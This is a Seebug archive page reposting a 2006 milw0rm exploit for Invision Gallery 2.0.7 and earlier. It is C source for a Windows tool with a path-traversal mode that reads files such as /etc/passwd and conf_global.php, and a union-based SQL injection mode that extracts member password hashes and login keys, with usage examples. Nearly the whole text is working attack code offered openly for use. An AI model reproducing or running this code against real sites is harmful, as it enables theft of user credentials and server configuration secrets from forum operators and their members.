Lucene search

K
seebugRootSSV:64052
HistoryJul 01, 2014 - 12:00 a.m.

Invision Gallery <= 2.0.7 ReadFile() & SQL Injection Exploit

2014-07-0100:00:00
Root
www.seebug.org
12

No description provided by source.


                                                /*
     _  _     _ _ _  __     _      _   _
    | || |___| | | |/ /_ _ (_)__ _| |_| |_ ___
    | __ / -_) | | &#39; &#60;| &#39; \| / _` | &#39; \  _(_-&#60;
    |_||_\___|_|_|_|\_\_||_|_\__, |_||_\__/__/
      hellknights.void.ru    |___/  
                 (c)oded by _1nf3ct0r_

 Invision Gallery =&#62; 2.0.7 ReadFile() & SQL injection exploit
 
+-------------+
|   Uzage:    |
+-------------+
[+] ReadFile():
  - syntax:
  readfile 1 &#60;host&#62; &#60;pathtoindex&#62; &#60;localfile&#62; 
  readfile 2 &#60;host&#62; &#60;pathtoindex&#62; &#60;localfile&#62;  // try it if readfile[1] failed ;)
   - params: 
  &#60;localfile&#62; -  path to local file (../file), for example: ../../../../../etc/passwd
   s0, if u want to get local path to IPB try this: ../../hellknightscrewxploit :) 
   - examples:
   readfile 1 asd.ru index.php ../../../../../../etc/passwd
   readfile 1 asd.ru forum/index.php ../../conf_global.php
   readfile 1 asd.ru forum/index.php ../../conf_global.php%00
   
[+] SQL-injection:
  - syntax
  sqlinject &#60;host&#62; &#60;pathtoindex&#62; &#60;member_id&#62; &#60;prefix&#62; &#60;column&#62; &#60;table&#62;
  getprefix &#60;host&#62; &#60;pathtoindex&#62;   // get database prefix from IPB error :) 
  - params:
  &#60;member_id&#62; -  member&#39;s id for SQL-injection result, for example: 1
  &#60;column&#62;    -  ipb members&#39; column to get. for example: ip_adress, email.
  &#60;table&#62;     -  ipb table to use. for example: member
  &#60;prefix&#62;    -  database prefix. 
  - examples:
  ig.exe sqlinject asd.ru index.php legacy_password ibf_ members 1  
  ig.exe sqlinject asd.ru index.php member_login_key  ibf_ members 1
  ig.exe sqlinject asd.ru forum/index.php ip_adress ibf_ member 5
  
[~] sorry, but i`m too lazy 2 optimize this c0de... 
[~] Music: Orbital - Halcyon and On and On (OST Hackers) :) 
[~] compiled with LCC without any warnings

Gr33tz: blackybr, 1dt.w0lf, ShadOS, ZaCo, SkvoznoY, HATS-Team 
             itz public c0de n0w, have phun :&#62; 
*/

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;
#include &#60;winsock2.h&#62;

DWORD resolve(char *host)
{
    DWORD ret = 0;
    struct hostent * hp = gethostbyname(host);
    if (!hp) ret = inet_addr(host);
    if ((!hp)&&(ret == INADDR_NONE)) return 0;
    if (hp != NULL) memcpy((void*)&ret, hp-&#62;h_addr,hp-&#62;h_length);
    return ret;
}

int Exploit(char * sendbuffer, char * mode, char * host)
{
	char recvbuffer[10024]; char * temp; 
	memset(recvbuffer,0,10024);

	SOCKET s = socket(AF_INET,SOCK_STREAM,0);
	SOCKADDR_IN webaddr;
		webaddr.sin_addr.S_un.S_addr = resolve(host);
		webaddr.sin_family = AF_INET;
		webaddr.sin_port = htons(80);
	if(connect(s, (struct sockaddr *)&webaddr,sizeof(SOCKADDR_IN))) return -1;
	send(s, sendbuffer, strlen(sendbuffer),0);
	
	int i, j;
	while(i = recv(s,recvbuffer+strlen(recvbuffer),1,0)) 
	for(int i = 0; recvbuffer[i]!=0; ++i)
	{
		if((recvbuffer[i]==&#39;\r&#39;)&&(recvbuffer[i+1]==&#39;\n&#39;)&&
			(recvbuffer[i+2]==&#39;\r&#39;)&&(recvbuffer[i+3]==&#39;\n&#39;))
		{temp = (char*)&recvbuffer[i] + 4;break;}
	}
	
	
	if(strcmp(mode,&#34;readfile&#34;)==0)
	{
	printf(&#34;\n [+] Exploit Result:\n\n%s&#34;, temp);
	return 0;
	}
	
	if(strcmp(mode,&#34;sqlinject&#34;)==0)
	{		
	char * token = NULL; char * injected = NULL; char * parse = NULL;
    token = strtok(temp, &#34;=&#34;); 
	token = strtok(NULL, &#34;=&#34;);
	token = strtok(NULL, &#34;&&#34;);
	token = strtok(NULL, &#34;&&#34;);
	for(int j = 0; j &#60; 2; j++)
		{
    	token = strtok(NULL, &#34;&&#34;);
	    if(j==1){ injected = token; printf(&#34;\n [+] Exploit Result:\n\n%s&#34;, injected); }
		}

	} else { printf(&#34;\n[-] some error. change MODE param\n&#34;); return 0; } 
	return 0;
}

int main(int argc,char * argv[])
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2),&wsaData);

		printf(&#34;\n ...............................................................\n&#34;);
        printf(&#34;  Invision Gallery 2.0.7 ReadFile() & SQL injection exploit       \n&#34;);
        printf(&#34;         (c)oded by _1nf3ct0r_ // Hell Knights Crew               \n&#34;);
		printf(&#34;               http://hellknights.void.ru/                        \n&#34;);
		printf(&#34;  Gr33tz: blackybr, 1dt.w0lf, ShadOS, ZaCo, SkvoznoY, HATS-Team   \n&#34;);
		printf(&#34; ...............................................................  \n&#34;);
		
	if (argc == 1) {

printf(&#34;\n\n [+] ReadFile():\n&#34;);
printf(&#34;  - syntax:\n&#34;);
printf(&#34;  readfile 1 &#60;host&#62; &#60;pathtoindex&#62; &#60;localfile&#62; \n&#34;);
printf(&#34;  readfile 2 &#60;host&#62; &#60;pathtoindex&#62; &#60;localfile&#62;   -- try it 1f readfile[1] failed \n&#34;);
printf(&#34;  - params: \n&#34;);
printf(&#34;  &#60;localfile&#62; -  path to local file (../file), f0r example: ../../../../../etc/passwd\n&#34;);
printf(&#34;  s0, 1f u want to get local path to IPB 7ry th1s: ../../hellknightscrewxploit  \n&#34;);
printf(&#34;  - examples:\n&#34;);
printf(&#34;  readfile 1 asd.ru index.php ../../../../../../etc/passwd\n&#34;);
printf(&#34;  readfile 1 asd.ru forum/index.php ../../conf_global.php\n&#34;);
printf(&#34;  readfile 1 asd.ru forum/index.php ../../conf_global.php%00\n\n\n&#34;);
printf(&#34; [+] SQL-injection:\n&#34;);
printf(&#34;  - syntax\n&#34;);
printf(&#34;  sqlinject &#60;host&#62; &#60;pathtoindex&#62; &#60;member_id&#62; &#60;prefix&#62; &#60;column&#62; &#60;table&#62;\n&#34;);
printf(&#34;  getprefix &#60;host&#62; &#60;pathtoindex&#62;   -- get database prefix from IPB error  \n&#34;);
printf(&#34;  - params:\n&#34;);
printf(&#34;  &#60;member_id&#62; -  member&#39;s id for SQL-injection result, for example: 1\n&#34;);
printf(&#34;  &#60;column&#62;    -  ipb members&#39; column to get. for example: ip_adress, email.\n&#34;);
printf(&#34;  &#60;table&#62;     -  ipb table to use. f0r example: member\n&#34;);
printf(&#34;  &#60;prefix&#62;    -  database prefix. \n&#34;);
printf(&#34;  - examples:\n&#34;);
printf(&#34;  ig.exe sqlinject asd.ru index.php legacy_password ibf_ members 1  \n&#34;);
printf(&#34;  ig.exe sqlinject asd.ru index.php member_login_key  ibf_ members 1\n&#34;);
printf(&#34;  ig.exe sqlinject asd.ru forum/index.php ip_adress ibf_ member 5\n\n&#34;);
		           return 1;
	               }
	
char * mode = argv[1];


// --- readfile() exploit --- //
if (strcmp(mode,&#34;readfile&#34;)==0)
{ 
char * type = argv[2];
char * path = NULL; path = argv[4];
char * localfile = argv[5];
char * host = argv[3]; 
	if (strcmp(type,&#34;1&#34;)==0)
	{
	char exploit[1024]; 
	strcpy(exploit, &#34;GET /&#34;); 
	strcat(exploit, path); 
	strcat(exploit, &#34;?act=module&module=gallery&cmd=viewimage&img=&file_type=&dir=&#34;);
	strcat(exploit, localfile);
    strcat(exploit, &#34; HTTP/1.0\r\nHost: &#34;);
	strcat(exploit, host); 
	strcat(exploit, &#34;\r\n\r\n&#34;); 
Exploit(exploit, &#34;readfile&#34;, host);

	} 
	else if (strcmp(type,&#34;2&#34;)==0)
	{
	char exploit[1024]; 
	strcpy(exploit, &#34;GET /&#34;); 
	strcat(exploit, path); 
	strcat(exploit, &#34;?act=gallery&code=viewimage&img=index.gif&dir=&#34;);
	strcat(exploit, localfile);
    strcat(exploit, &#34; HTTP/1.0\r\nHost: &#34;);
	strcat(exploit, host); 
	strcat(exploit, &#34;\r\n\r\n&#34;); 
Exploit(exploit, &#34;readfile&#34;, host);
	}

// --- sql-injection exploit --- //
} 
if(strcmp(mode,&#34;sqlinject&#34;)==0)
{
char * host = argv[2]; 
char * path = argv[3];
char * prefix = argv[5];
char * column = argv[4];
char * table = argv[6];
char * id = argv[7];

	char exploit[1024]; 
	strcpy(exploit, &#34;GET /&#34;); 
	strcat(exploit, path); 
	strcat(exploit, &#34;?automodule=gallery&cmd=rate&img=1&rating=1&album=-1%20union%20select%201,&#34;);
	strcat(exploit, column);
	strcat(exploit, &#34;,1,1,1,1,1,1,1,1%20FROM%20&#34;);
	strcat(exploit, prefix);
	strcat(exploit, table);
	strcat(exploit, &#34;%20WHERE%20id=&#34;);
	strcat(exploit, id);
	strcat(exploit, &#34;/*31337*/&#34;);
    strcat(exploit, &#34; HTTP/1.0\r\nHost: &#34;);
	strcat(exploit, host); 
	strcat(exploit, &#34;\r\n\r\n&#34;); 
    Exploit(exploit, &#34;sqlinject&#34;, host);
} 
if (strcmp(mode,&#34;getprefix&#34;)==0)
{ 
char * path = argv[3];
char * host = argv[2]; 
	char exploit[1024]; 
	strcpy(exploit, &#34;GET /&#34;); 
	strcat(exploit, path); 
	strcat(exploit, &#34;?automodule=gallery&cmd=rate&img=1&rating=1&album=-1%20hellknightscrew&#34;);
    strcat(exploit, &#34; HTTP/1.0\r\nHost: &#34;);
	strcat(exploit, host); 
	strcat(exploit, &#34;\r\n\r\n&#34;); 
printf(&#34;\n\n\n[!] u can get database prefix from this error. example: SELECT * FROM &#60;PREFIX&#62;gallery_albums\n\n&#34;);
Exploit(exploit, &#34;readfile&#34;, host);
}

WSACleanup();
	return 0;
}

// milw0rm.com [2006-10-03]